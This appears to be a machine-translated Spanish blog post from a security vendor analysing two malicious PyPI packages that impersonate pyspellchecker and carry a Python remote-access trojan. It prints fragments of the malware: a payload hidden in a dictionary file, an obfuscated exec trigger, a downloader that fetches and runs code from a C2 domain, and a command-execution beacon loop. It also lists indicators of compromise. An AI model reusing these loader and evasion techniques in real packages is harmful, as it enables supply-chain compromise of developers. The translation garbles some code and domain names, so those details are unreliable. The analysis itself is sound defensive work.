Aikido

Los paquetes maliciosos PyPI spellcheckpy y spellcheckerpy distribuyen Python RAT.

Charlie EriksenCharlie Eriksen
|
#
#
#

El 20 y 21 de enero de 2026, nuestro proceso de detección de malware detectó dos nuevos paquetes PyPI: corrector ortográfico y corrector ortográfico. Ambos afirmaban ser los autores legítimos de la biblioteca pyspellchecker. Ambos están vinculados a su repositorio GitHub real.

No eran suyas.

Oculto dentro del archivo del diccionario del idioma vasco había una carga útil codificada en base64 que descarga un RAT de Python con todas las funciones. El atacante publicó primero tres versiones «inactivas», con la carga útil presente, pero sin activador, y luego activó el interruptor con corrector ortográfico v1.2.0, añadiendo un desencadenador de ejecución ofuscado que se activa en el momento en que se importa. Corrector ortográfico.

La carga útil que se oculta a plena vista

Los autores del malware se volvieron creativos. En lugar de los sospechosos habituales (postinstall scripts, ofuscados __init__.py), enterraron la carga útil en el interior. recursos/eu.json.gz, un archivo que contiene legítimamente las frecuencias de palabras vascas en el real pyspellchecker paquete.

Aquí está la función de extracción en utils.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

Parece inocente. Pero cuando se llama con test_file("eu", "utf-8", "spellchecker"), no recupera las frecuencias de las palabras. Recupera un descargador codificado en base64 oculto entre las entradas del diccionario bajo una clave llamada spellchecker.

Inactivo, luego mortal

En las tres primeras versiones, la carga útil se extrae y decodifica... pero nunca se ejecuta:

test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# Esoes todo. No hay exec(). La carga útil simplemente se queda ahí.

Un arma cargada con el seguro puesto.

Luego vino corrector ortográfico v1.2.0. El atacante movió el gatillo a WordFrequency.__init__ y añadió ofuscación:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

¿Lo ves? Eso. bytes.fromhex("65786563") se decodifica como «ejecutar".

En lugar de escribir exec() directamente, lo que los escáneres estáticos marcarían, reconstruyen la cadena desde hexadecimal en tiempo de ejecución. Importar Corrector ortográfico, instanciarlo y el RAT se ejecuta.

El RAT: Control remoto total

La carga útil de la etapa 1 es un descargador. Obtiene la carga útil real de https://updatenet[.]work/settings/history.php y lo genera en un proceso independiente:

p = subprocess.Popen(
    ["python3", "-"], 
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True)

p.stdin.write(downloaded_payload)
p.stdin.close()

Eso iniciar_nueva_sesión=Verdadero es clave: el RAT sobrevive incluso si tu script se cierra. No se escriben archivos en el disco. Silencioso. Independiente.

El RAT de fase 2 es un troyano de acceso remoto con todas las funciones y algunas características interesantes:

Huella digital del sistema en init:

szObjectID = ''.join(random.choice(string.ascii_letters) para x en rango(12))
szPCode = "Sistema operativo: " + plataforma.plataforma()
szComputerName = "Nombre del ordenador: " + socket.gethostname()

Cifrado XOR de doble capa para comunicaciones C2: El RAT utiliza una clave XOR de 16 bytes ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) para la capa externa, y luego un XOR secundario con la clave 123 para las cargas útiles de los comandos. No es criptográficamente fuerte, pero es suficiente para evadir la detección basada en firmas.

Protocolo binario personalizado: Los comandos vuelven como [ID de comando de 4 bytes][longitud de 4 bytes][carga útil cifrada con XOR]. El RAT analiza esto, lo descifra y lo envía.

Ejecución de código arbitrario: cuando llega el comando ID 1001, el RAT simplemente... lo ejecuta:

if nCMDID == 1001: 
    exec(szCode)

Bucle de baliza persistente:

El RAT llama a casa cada 5 segundos para https://updatenet[.]work/update1.php, enviando su ID de víctima (campaña

FD429DEABE) y esperando comandos. La validación del certificado SSL se desactiva mediante

ssl._create_unverified_context().

Infraestructura C2

El dominio C2 actualizarred[.]trabajo resuelve la infraestructura con un historial documentado de albergar actividades maliciosas.

Registro de dominio:

  • Dominio: actualizarred[.]trabajo
  • Registrado: 28 de octubre de 2025 (aproximadamente 3 meses antes de la publicación del malware)

Infraestructura de alojamiento:

  • Dirección IP: 172.86.73[.]139
  • ASN: AS14956 RouterHosting LLC
  • Ubicación: Dallas, Texas, EE. UU.
  • Dominio asociado: cloudzy.com
  • Red: 172.86.73.0/24

Por qué es importante: RouterHosting LLC opera como Cloudzy, un proveedor de alojamiento que ha sido ampliamente documentado como un «proveedor de comando y control» (C2P). En agosto de 2023, Halcyon publicó un informe titulado «Cloudzy con posibilidad de ransomware» que reveló que entre el 40 % y el 60 % del tráfico de Cloudzy era de naturaleza maliciosa. El informe vinculaba la infraestructura de Cloudzy con grupos APT de China, Irán, Corea del Norte, Rusia y otras naciones, así como con operadores de ransomware y un proveedor de spyware israelí sancionado.

Conexión con campañas anteriores

No se trata de un incidente aislado. En noviembre de 2025, HelixGuard documentó un ataque similar. utilizando el paquete spellcheckers (mismo objetivo, nombre diferente). Esa campaña utilizó la misma estructura RAT: cifrado XOR, ID de comando 1001, exec(), pero una infraestructura C2 diferente (hazlo mejor[.]tienda). El informe de HelixGuard relacionó esa campaña con una estafa de ingeniería social por parte de falsos reclutadores dirigida a los poseedores de criptomonedas.

Diferentes dominios, mismo manual. Parece tratarse exactamente del mismo actor malicioso. 

Indicadores de Compromiso

Paquetes: spellcheckerpy (todas las versiones), spellcheckpy (todas las versiones)

Infraestructura C2:

  • actualizarred[.]trabajo
  • https://updatenet[.]work/settings/history.php (entrega en la fase 2)
  • https://updatenet[.]work/update1.php (punto final de baliza)
  • 172.86.73[.]139 (AS14956 RouterHosting LLC / Cloudzy)

Identificadores de campaña:

  • ID de la campaña: FD429DEABE
  • Clave XOR: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
  • XOR secundario: 0x7B (123)

Ubicación de la carga útil:

recursos/eu.json.gz, corrector ortográfico clave

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.